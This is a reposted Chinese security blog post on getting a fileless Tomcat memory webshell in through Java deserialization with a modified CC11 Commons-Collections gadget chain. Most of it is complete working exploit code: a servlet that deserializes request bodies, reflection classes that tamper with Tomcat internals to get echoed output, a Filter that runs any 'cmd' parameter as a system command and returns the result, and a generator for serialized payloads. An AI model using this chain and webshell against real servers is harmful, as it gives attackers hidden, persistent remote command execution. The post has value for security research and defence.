文章总结: 本文介绍利用Java反序列化漏洞注入内存马的技术,结合CC11链实现文件不落地的内存马注入,重点解决回显问题,通过修改Tomcat内部字段实现半通用回显,并注入Filter类型内存马,适用于不出网场景和攻防对抗。 综合评分: 75 文章分类: 漏洞分析,红队,代码审计
Java安全—反序列化打内存马
原创
lys lys
绿洲安全
2026年9月22日 08:30 北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明
由于传播、利用本公众号绿洲安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号绿洲安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢
文章转自:https://drun1baby.top/2022/11/29/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/
0x01 前言
当然看这道题目的最主要原因是因为内存马的应用面太广了,很多不出网的场景、以及攻防的场景都可以用到。
像之前的文章,Tomcat 的三种内存马,实际上都只是一种简单的实验,而非完全能够应用,就算应用起来也是有文件落地现象的,这并非是真正的内存马。
而且在之前 2022 祥云杯上,也出了一道 Java CC4 链的不出网写内存马的题目,处于相当好奇的原因,写下了这篇文章。
所以在这篇文章中,我们来学习利用反序列化来实现真正意义上的内存马的注入,本文中会结合 cc11 来进行内存马注入,这样可以实现真正的文件不落地,在上文利用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方,这也是本文学习的一个点
0x02 回显问题
见上一篇
0x03 反序列化打内存马
半通用回显 Tomcat 打内存马
这里要用 web-app 的项目,并且用低版本的 Tomcat
先写一个 servlet
import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream;
@WebServlet("/cc") public class CCServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { InputStream inputStream = (InputStream) req; ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { InputStream inputStream = req.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } }
接着,实现 Kingkk 师傅提出来的 Tomcat 半通用回显。这一步在 Java 回显技术的文章里面已经讲的比较清楚了。
package EXP;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Modifier;
public class TomcatEcho extends AbstractTranslet {
static { try { // 修改 WRAP_SAME_OBJECT 值为 true Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT"); java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); //获取modifiers字段 modifiersField.setAccessible(true); //将变量设置为可访问 modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性 f.setAccessible(true); //将变量设置为可访问 if (!f.getBoolean(null)) { f.setBoolean(null, true); //将变量设置为true }
// 初始化 lastServicedRequest & lastServicedResponse c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); f = c.getDeclaredField("lastServicedRequest"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); //设置ThreadLocal对象 }
f = c.getDeclaredField("lastServicedResponse"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); //设置ThreadLocal对象 }
} catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处。
package EXP;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.LifecycleState; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext;
import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse;
/** * @author threedr3am */public class TomcatInject extends AbstractTranslet implements Filter {
/** * webshell命令参数名 */ private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "Drunkbaby";
static { try { ServletContext servletContext = getServletContext(); if (servletContext != null){ Field ctx = servletContext.getClass().getDeclaredField("context"); ctx.setAccessible(true); ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(appctx);
if (standardContext != null){ // 这样设置不会抛出报错 Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP);
Filter myFilter =new TomcatInject(); // 调用 doFilter 来动态添加我们的 Filter // 这里也可以利用反射来添加我们的 Filter javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName,myFilter);
// 进行一些简单的设置 filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); // 设置基本的 url pattern filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
// 将服务重新修改回来,不然的话服务会无法正常进行 if (stateField != null){ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); }
// 在设置之后我们需要 调用 filterstart if (standardContext != null){ // 设置filter之后调用 filterstart 来启动我们的 filter Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext,null);
/** * 将我们的 filtermap 插入到最前面 */
Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } //把filter插到第一位 Method m = Class.forName("org.apache.catalina.core.StandardContext") .getDeclaredMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } }
}
} catch (Exception e) { e.printStackTrace(); } }
private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ServletRequest servletRequest = null; /*shell注入,前提需要能拿到request、response等*/ Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) f.get(null); //不为空则意味着第一次反序列化的准备工作已成功 if (threadLocal != null && threadLocal.get() != null) { servletRequest = (ServletRequest) threadLocal.get(); } //如果不能去到request,则换一种方式尝试获取
//spring获取法1 if (servletRequest == null) { try { c = Class.forName("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getRequest"); servletRequest = (ServletRequest) m.invoke(o); } catch (Throwable t) {} } if (servletRequest != null) return servletRequest.getServletContext();
//spring获取法2 try { c = Class.forName("org.springframework.web.context.ContextLoader"); Method m = c.getMethod("getCurrentWebApplicationContext"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.WebApplicationContext"); m = c.getMethod("getServletContext"); ServletContext servletContext = (ServletContext) m.invoke(o); return servletContext; } catch (Throwable t) {} return null; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} }
如此一来,我们接下来只需要注入即可,这点在 《Java 回显技术》一文当中我也有提到过,必须是要通过动态加载字节码的形式,才可以打,所以这里我们用魔改的 CC11 链子
package EXP;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet;
@SuppressWarnings("all") public class CC11Template {
public static void main(String[] args) throws Exception { byte[] bytes = getBytes(); byte[][] targetByteCodes = new byte[][]{bytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes"); f0.setAccessible(true); f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name"); f0.setAccessible(true); f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class"); f0.setAccessible(true); f0.set(templates,null);
// 利用反射调用 templates 中的 newTransformer 方法 InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); TiedMapEntry tiedmap = new TiedMapEntry(map,templates); HashSet hashset = new HashSet(1); hashset.add("foo"); // 我们要设置 HashSet 的 map 为我们的 HashMap Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); }
f2.setAccessible(true); Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node,tiedmap);
// 在 invoke 之后, Field f3 = transformer.getClass().getDeclaredField("iMethodName"); f3.setAccessible(true); f3.set(transformer,"newTransformer");
try{ //ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser")); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser")); outputStream.writeObject(hashset); outputStream.close();
}catch(Exception e){ e.printStackTrace(); } }
public static byte[] getBytes() throws IOException { // 第一次 // InputStream inputStream = new FileInputStream(new File("E://TomcatEcho.class")); // 第二次 InputStream inputStream = new FileInputStream(new File("E://TomcatInject.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int n = 0; while ((n=inputStream.read())!=-1){ byteArrayOutputStream.write(n); } byte[] bytes = byteArrayOutputStream.toByteArray(); return bytes; } }
接连注入即可,这里因为代码我们可以直接注入 .ser 序列化的文件,如果是要输入 string,简单把 .ser 文件 base64 一下即可。
- 这一种反序列化打内存马的方式缺陷也很明显,就是像 shiro 这些自带 Filter 的无法打通,所以如果是 shiro550 打内存马,需要用 《Java 回显技术》的第三种方法,获取全局 response,并且根据 Tomcat 版本打。
内存马打 shiro550
通过全局存储 Response 回显来打
这里直接借用了木爷的工具 https://github.com/KpLi0rn/ShiroVulnEnv
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:绿洲安全 lys lys《Java安全—反序列化打内存马》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论